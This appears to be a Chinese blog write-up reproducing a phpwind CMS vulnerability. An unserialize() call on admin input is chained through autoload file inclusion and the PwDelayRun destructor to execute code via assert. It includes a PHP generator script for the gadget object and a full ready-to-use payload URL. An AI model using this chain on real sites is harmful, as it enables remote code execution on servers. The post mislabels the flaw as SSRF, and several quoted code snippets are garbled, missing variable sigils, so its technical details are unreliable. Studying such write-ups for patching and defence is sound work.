ssrf漏洞复现(phpwind)

在\src\applications\task\admin\TaskConditionBbsController.php路径下我们发现了用户可控数据的反序列化,因为getInput()函数可以接受用户的get、post、cookie传参。

$var = unserialize($this->getInput('var'));

public function beforeAction($handlerAdapter) {
        parent::beforeAction($handlerAdapter);
        $var = unserialize($this->getInput('var'));
        if (is_array($var)) {
            $this->setOutput($var, 'condition');
        }

beforeAction将会在实际执行Action之前执行,即下图五个Action。这里用户传入的var,进行反序列化,就是我们可以利用的点。

当$var销毁时会自动调用 _ destruct()析构函数。定位到_destruct()析构函数,在PwDelayRun类中,callback数组遍历,然后用call_user_func_array回调函数执行,所以我么只需要传递value=assert,callback[key]=....,就可以任意执行命令了。

class PwDelayRun {
    private static $instance = null;
    private $_callback = array();
    private $_args = array();
    private function __construct() {
    }
    public function __destruct() {
        foreach (this->_callback as key => $value) {
            call_user_func_array(value, this->_args[$key]);
        }
    }
    ...
}

src\library\utility\PwDelayRun.php

但PwDelayRun类并没有被phpwind默认加载,当$var销毁时就找不到 _ destruct()析构函数。我们也就但如果我们使用的是不存在的类,就会直接传入注册好的spl_autoload函数中。

接着我们追踪到spl_autoload函数,spl_autoload函数定义在了init() 初始化函数中。

public static function init() {
​
    if (function_exists('spl_autoload_register'))
        spl_autoload_register('Wind::autoLoad');
    else
        self::$_isAutoLoad = false;
    self::_loadBaseLib();
}

将Wind::autoload注册为自动加载函数。跟进Wind::autoLoad

public static function autoLoad(className, path = '') {
    if ($path)
        include path . '.' . self::_extensions;
    elseif (isset(self::_classes[className])) {
        include self::_classes[className] . '.' . self::$_extensions;
    } else
        include className . '.' . self::_extensions;
}

如果路径传的空值,则会进入include className . '.' . self::_extensions;执行语句。但这里并不能传递路径,我们该如何把类传递进来呢?类名中是可以包含\的,我们直接在className传递PwDelayRun类的路径src/library/utility/PwDelayRun.php,就可以加载PwDelayRun类。

但phpwind默认全局命名空间为\,将类名设置为src\library\utility\PwDelayRun,并不能加载出PwDelayRun类。所以我们需要创建src\library\utility\PwDelayRun类和\PwDelayRun类两个对象。在反序列化的过程,第一个类调用autoLoad自动加载类函数中的include文件包含className执行语句,第二个类拿到PwDelayRun对象。

此外我们还需要注意beforeAction()函数,当传递的参数$var是数组的话,就会设置到output里。最后该对象并没有销毁,也就没有调用__destruct函数。所以我们需要将$obj设置为对象。

public function beforeAction($handlerAdapter) {
    parent::beforeAction($handlerAdapter);
    var = unserialize(this->getInput('var'));
    if (is_array($var)) {
        this->setOutput(var, 'condition');
    }
}

执行如下代码即可拿到POC对象

<?php
namespace src\library\utility {
    class PwDelayRun{
​
    }
}
namespace{
    class PwDelayRun{
        private $_callback;
        private $_args;
        function __construct()
        {
        $this->_callback = [
            'assert'
        ];
        $this->_args = [
            ["phpinfo();exit;"]
        ];
    }
}
​
header("Content-Type: text/plain");
$obj = new stdClass();
$obj->a =  new src\library\utility\PwDelayRun();
$obj->b = new PwDelayRun();
echo urlencode(serialize($obj));
}
?>

最终运行上述脚本,得到payload

http://127.0.0.1/cms/phpwind/admin.php?m=task&c=TaskConditionMember&a=profile&var=O%3A8%3A%22stdClass%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A30%3A%22src%5Clibrary%5Cutility%5CPwDelayRun%22%3A0%3A%7B%7Ds%3A1%3A%22b%22%3BO%3A10%3A%22PwDelayRun%22%3A2%3A%7Bs%3A21%3A%22%00PwDelayRun%00_callback%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22assert%22%3B%7Ds%3A17%3A%22%00PwDelayRun%00_args%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A1%3A%7Bi%3A0%3Bs%3A15%3A%22phpinfo%28%29%3Bexit%3B%22%3B%7D%7D%7D%7D

  • 6
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值